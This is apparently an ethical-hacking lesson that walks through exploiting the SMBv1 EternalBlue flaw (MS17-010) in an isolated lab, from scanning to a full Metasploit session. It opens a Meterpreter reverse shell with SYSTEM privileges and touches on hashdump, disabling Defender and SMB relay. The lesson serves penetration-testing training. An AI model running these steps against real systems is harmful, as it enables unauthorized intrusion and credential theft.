Exploit Windows SMB Vulnerabilities

Picture this: it's 3 a.m., your SOC alerts are screaming, and a report just landed on your desk saying an unpatched Windows Server 2012 box is broadcasting SMBv1 to the entire office. You know EternalBlue is out there — you've read the CVEs, you've seen the news — but when you actually try to exploit Windows SMB vulnerabilities safely in your lab, the scanner returns nothing, the exploit crashes, or worse, you accidentally take down a production share. Sound familiar? The gap between knowing the theory and safely executing an SMB exploit in a controlled environment is where most ethical hackers stumble. This lesson bridges that gap: you'll learn not just how to run the tools, but how to do it without breaking your lab, your reputation, or the law.

The problem this lesson solves

SMB (Server Message Block) is the backbone of Windows file sharing, but its legacy versions — especially SMBv1 — are a treasure trove of exploitable weaknesses. The most infamous, EternalBlue (MS17-010), was weaponized in WannaCry and NotPetya, encrypting hospitals and shipping giants worldwide. Yet, the problem isn't just that these vulnerabilities exist; it's that attending to them safely is deceptively hard.

• Legal risk — one rogue scan outside your lab can land you in jail.
• Operational risk — a sloppy exploit can crash the target service, triggering outages.
• Detection risk — if you're testing for a client, leaving artifacts that trip antivirus or EDR can invalidate the entire engagement.
• Skill gap — many tutorials show commands without explaining the why, leaving you unprepared for real-world hiccups.

By the end of this lesson, you'll be able to exploit Windows SMB vulnerabilities safely — in a sandboxed, legal environment — and walk away with a repeatable process that you can adapt to any similar service exploitation task.

Pro tip: Always get written authorization before testing any system, even in a lab. In the real world, "I was just curious" is not a defense.

Core concept / mental model

Think of SMB exploitation like opening a locked door with a master key. The "locked door" is the SMB service (usually port 445). The "master key" is a piece of code (an exploit) that exploits a flaw in how the service handles certain packets. But you don't just slam the key in — you first check which lock you're dealing with, then craft a duplicate key, then turn it slowly to avoid breaking the lock.

Here's the three-layer mental model:

1. Vulnerability discovery — you identify the SMB version and known CVEs. This is your reconnaissance.
2. Exploit selection — you match the exact vulnerability to a working exploit (e.g., MS17-010 for EternalBlue). Using the wrong exploit is like using a car key on a house door — it won't fit, and might jam the lock.
3. Controlled execution — you run the exploit with parameters that are reversible: in a VM, with a snapshot, and with clear kill-switches.

Definitions you'll need

• SMBv1 — the original protocol (1980s), insecure and often disabled now, but still present on legacy systems.
• EternalBlue (CVE-2017-0144) — a remote code execution flaw in SMBv1's handling of crafted packets.
• Metasploit — an open-source penetration testing framework with ready-made exploit modules.
• Payload — the code that runs on the target after the exploit succeeds (e.g., a reverse shell).
• Reverse shell — a connection from the target back to you, which is easier to maintain through firewalls.

How it works step by step

Let's break the process into five logical phases. Each step builds on the previous one, so don't skip ahead.

Phase 1: Reconnaissance

First, find live hosts running SMB.

# Use Nmap to scan for SMB services
nmap -p 445 --open -sV 192.168.1.0/24

What to look for: output lines like 445/tcp open microsoft-ds. Note the OS version and SMB version if Nmap reports them.

Phase 2: Enumeration

Now dig deeper with SMB-specific tools.

# Enumerate SMB shares and OS info using enum4linux
enum4linux -a 192.168.1.10

Why: You need to confirm the target is running SMBv1 and is unpatched. The script will show the SMB version in the banner or the OS info.

Phase 3: Vulnerability detection

Use a scanner like smb-vuln-ms17-010 Nmap script to confirm the vulnerability.

nmap -p 445 --script smb-vuln-ms17-010 192.168.1.10

Expected output: something like Host is likely VULNERABLE to MS17-010. If it says not vulnerable, stop and reassess.

Phase 4: Exploit setup

Fire up Metasploit and select the right module.

msfconsole

Inside Metasploit:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444

Phase 5: Execution with care

Before you run exploit, take a snapshot of your target VM. Then:

check
# This tests the vulnerability without full exploitation
exploit

What you should see: a Meterpreter session prompt meterpreter >. You now have a reverse shell.

Pro tip: Always run check first. It's like testing the door handle before kicking — it gives you confirmation without the destructive part.

Hands-on walkthrough

Now let's put it all together in a fully controlled lab. I'm assuming you have:

• Attacker machine: Kali Linux VM with Metasploit installed.
• Target machine: Windows 7 or Server 2008 R2 VM (unpatched, with SMBv1 enabled).
• Network: host-only adapter so you're isolated.

Setup commands

First, verify connectivity and SMB exposure.

# Ping target
ping -c 3 192.168.1.10

# Confirm SMB is open
nc -vz 192.168.1.10 445

Expected output:

Connection to 192.168.1.10 445 port [tcp/microsoft-ds] succeeded!

Full exploitation script

Here's a complete Metasploit session log (simplified):

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > check

[*] 192.168.1.10:445 The target is vulnerable.

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.10:49152)

meterpreter > sysinfo
Computer    : WIN7-TARGET
OS          : Windows 7 (6.1 Build 7601, x64).
Arch        : x64
Meterpreter : x64/windows

Now you have a shell. You can now test post-exploitation commands like getuid or hashdump (but be careful with the latter).

Post-exploitation safety

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > screenshot /tmp/screen.png
Screenshot saved to: /tmp/screen.png

Remember: Any action you take after exploitation can harm the system. In a lab, you're fine; in a real engagement, stick to the client's rules of engagement.

Compare options / when to choose what

Not every SMB attack requires Metasploit. Here's a quick comparison:

When to choose: - If you have no credentials and just need RCE → Metasploit or manual exploit. - If you already have a user and password → Impacket psexec. - If you want to capture hashes → SMB relay.

Variations: - Use exploit/windows/smb/ms17_010_psexec as an alternative if EternalBlue fails on some patched but still vulnerable systems. - Use Cobalt Strike or Sliver for more advanced payload delivery, but that's beyond this lesson.

Troubleshooting & edge cases

Even in a controlled lab, things go wrong. Here are the most common issues and how to fix them.

Error: "The target is not vulnerable"

• Cause: The system may be patched or SMBv1 disabled.
• Fix: Double-check the Windows version and install date. Enable SMBv1 (only in your lab!) or choose a different target.

Error: "Exploit completed, but no session was created"

• Cause: Firewall blocking the reverse shell, or wrong LHOST/LPORT.
• Fix: Ensure your attack machine's firewall allows inbound on 4444. Use set LHOST to your actual IP (run ip a to check).

Error: "Access denied" or "The parameter is incorrect"

• Cause: Target may have SMB signing required.
• Fix: Try setting SMB::Signing to false (though this may not always work), or use a different exploit module.

Edge case: VM snapshot restore

Always take a snapshot before exploitation. If the exploit crashes the VM, you can restore within minutes. I've seen many labs ruined by skipping this step.

Edge case: Antivirus interference

Some test VMs have Windows Defender enabled. In your lab, disable it to avoid payload execution blocks. Only disable it on isolated test machines — never on production.

What you learned & what's next

You now understand how to exploit Windows SMB vulnerabilities safely — from recon to a working reverse shell, all within a controlled environment. Here's what you covered:

• The core vulnerability (SMBv1, EternalBlue) and its real-world impact.
• A step-by-step methodology: scan, enumerate, detect, exploit, suppress.
• Hands-on practice with Metasploit, including safe execution and error recovery.
• How to compare exploit tools and choose the right one for your scenario.
• Troubleshooting common failures so you can recover quickly.

Key takeaway: Always treat exploitation as a scientific experiment — every command, every option, every outcome must be logged and understood.

Next lesson: You'll move on to post-exploitation — maintaining access, privilege escalation, and covering your tracks. The skills you just built — careful planning, safe execution, and forensic awareness — are exactly what you'll need.

Final pro tip: Always document your engagement. In a professional pentest, your notes are as valuable as your findings — and in a lab, they're your best learning tool.

Now head to the next lesson and start the next chapter of your ethical hacking journey.